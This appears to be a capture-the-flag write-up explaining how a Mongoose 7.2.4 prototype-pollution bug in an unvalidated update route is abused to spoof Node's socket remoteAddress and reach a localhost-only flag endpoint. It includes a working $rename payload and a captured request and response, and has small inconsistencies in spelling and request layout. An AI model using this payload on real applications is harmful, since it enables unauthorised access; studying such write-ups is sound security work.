

Secure Notes

Author note

This write-up is written to be useful later, not just to show the final payload. It explains the wrong paths, the useful clues, and the reason each step mattered.

Challenge name	Secure Notes
Category	Web Exploitation
XP Reward	260
Release date	30.01.2026
Difficulty estimate	Medium to Hard, depending on prototype pollution familiarity
Main bug class	Mongoose prototype pollution
Goal	Make the application access /flag as if the request came from 127.0.0.1

TLDR Summary

The challenge looked like a simple note-taking app with a protected **/flag** endpoint. The endpoint only returned the flag when **req.connection.remoteAddress** was localhost. There was no admin bot, no obvious SSRF feature, and no template engine. The turning point was the vulnerable **/update** route, which passed the entire request body into **Note.findByIdAndUpdate()**. Because the installed Mongoose version was vulnerable to prototype pollution, a controlled note field could be renamed into **__proto__.__peername.address**. Node's socket **remoteAddress** getter reads from that internal peer-name object, so the flag route saw the request as coming from **127.0.0.1**.

Initial Recon

The application is small. The backend only imports Express and Mongoose, connects to a local MongoDB instance, serves static files, and exposes a few note routes.

Relevant setup

```
const express = require('express');
const mongoose = require('mongoose');

const Note = mongoose.model('Note', new mongoose.Schema({
  title: String,
  content: String,
}));

app.use(express.static('public'));
app.use(express.json());
```

At first, the likely candidates seemed to be XSS, SSRF, NoSQL injection, or header spoofing. Each one had to be checked and discarded before the real path became clear.

3. Protected Flag Route

The target route does not check a header. It checks the real socket address attached to the incoming request.

Flag route

```
app.get('/flag', (req, res) => {
  const remoteAddress = req.connection.remoteAddress;
  if (remoteAddress === '127.0.0.1' ||
      remoteAddress === '::1' ||
      remoteAddress === '::ffff:127.0.0.1') {
    res.send(process.env.FLAG ?? 'HTB{f4k3_fl4g_f0r_t3st1ng}');
  } else {
    res.status(403).json({ Message: 'Access denied' });
  }
});
```

Key point

X-Forwarded-For, **X-Real-IP**, and similar headers are not used here. The route reads **req.connection.remoteAddress**, so a simple header spoof does not solve the challenge.

A normal remote request reaches **/flag** with the public client address, so the route returns a **403** response. To pass the check, the application must be made to believe that the request address is localhost.

Dead Ends and Why They Failed

- **Stored XSS:** there was no admin bot, so browser-side JavaScript would only run in my own browser.
- **SSRF:** there was no endpoint where a user-controlled URL was fetched by the server.
- **Header spoofing:** the flag route did not read forwarded IP headers.
- **Template injection:** the dependencies did not include EJS, Pug, Handlebars, or another template engine.
- **Simple NoSQL injection:** the useful issue was not database enumeration. The useful issue was how Mongoose processed updates.

The key weakness is the difference between the create route and the update route. The create route validates that title and content are strings, but the update route trusts the whole JSON body.

Vulnerable sink

```
app.post('/update', async (req, res) => {
  try {
    const { noteId } = req.body;
    await Note.findByIdAndUpdate(noteId, req.body);
    let result = await Note.find({ _id: noteId });
    res.json(result);
  } catch (error) {
    console.error(error);
    res.status(500).json({ Message: "An error occurred" });
  }
});
```

Important

The dangerous call is **Note.findByIdAndUpdate(noteId, req.body)**. The user controls not only normal fields like title and content, but also update operators such as **\$rename**.

The package lock showed a vulnerable Mongoose version. This matters because the exploit is not a feature of MongoDB itself; it is a Mongoose update handling bug.

Relevant package-lock excerpt

```
"node_modules/mongoose": {
  "version": "7.2.4",
  "dependencies": {
    "mongodb": "5.5.0",
    "mquery": "5.0.0",
    "sift": "16.0.1"
  }
}
```

The known issue affects update functions such as **findByIdAndUpdate()** when attacker-controlled update paths are processed. The primitive is prototype pollution, not ordinary document editing.

What is Prototype Pollution?

Prototype pollution means attacker-controlled input adds a property to a shared JavaScript prototype. After that, unrelated objects may inherit the polluted property.

Simple mental model

```
Object.prototype.isAdmin = true;

const user = {};
console.log(user.isAdmin); // true, inherited from Object.prototype
```

In this challenge, the goal is not to add **remoteAddress** to the note document. The goal is to poison a prototype so a later socket lookup resolves a crafted internal value.

Finding the Socket Gadget

The flag route checks **req.connection.remoteAddress**. In Node.js, HTTP connections use **net.Socket**. The public documentation says **socket.remoteAddress** is the string representation of the remote IP address. The useful part is in the source implementation: the getter reads from peer name information.

What to look for in Node source

```
// Conceptual Node.js v12 behavior
remoteAddress -> this._getpeername().address

_getpeername() checks this._peername
then returns the peer-name object
```

Gadget idea

If prototype pollution can make **_peername.address** resolve to **127.0.0.1**, then **req.connection.remoteAddress** can satisfy the localhost check.

Exploitation Plan

1. Create or update a note so a controlled field contains **127.0.0.1**.
2. Use **/update** with the MongoDB **\$rename** operator.
3. Rename the controlled field into **__proto__._peername.address**.
4. Let the route perform its follow-up **Note.find()**, which helps trigger the Mongoose pollution behavior.
5. Request **/flag** and receive the real flag.

```
GET /flag HTTP/1.1
Host: 154.57.164.70:30988
Content-Length: 103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://154.57.164.70:30988
Referer: http://154.57.164.70:30988/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,bg-BG;q=0.8,bg;q=0.7,ru;q=0.6
Connection: keep-alive
```

```
{
  "noteId": "6a46257ee03a92ffc175c639",
  "$rename": {
    "title": "__proto__._peername.address"
  }
}
```

```
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: text/html; charset=utf-8
4 Content-Length: 70
5 ETag: W/"46-CsbDmXhOmLpXFILYTgwbTfuOxxs"
6 Date: Thu, 02 Jul 2026 09:59:28 GMT
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9
10 HTB{mongoose_prototype_pollution_exploit}
```

Why the Payload Works

The note document gives us put a controlled value: **127.0.0.1**. The vulnerable Mongoose update lets us use **\$rename** with a dangerous destination path. The destination path begins with **__proto__**, so the operation escapes the normal document model and pollutes a prototype.

Core payload

```
{
  "noteId": "NOTE_ID_HERE",
  "$rename": {
    "title": "__proto__._peername.address"
  }
}
```

After pollution, the relevant inherited shape is effectively: **Object.prototype._peername.address = "127.0.0.1"**. When **/flag** reads **req.connection.remoteAddress**, Node follows its socket getter path and the check receives localhost.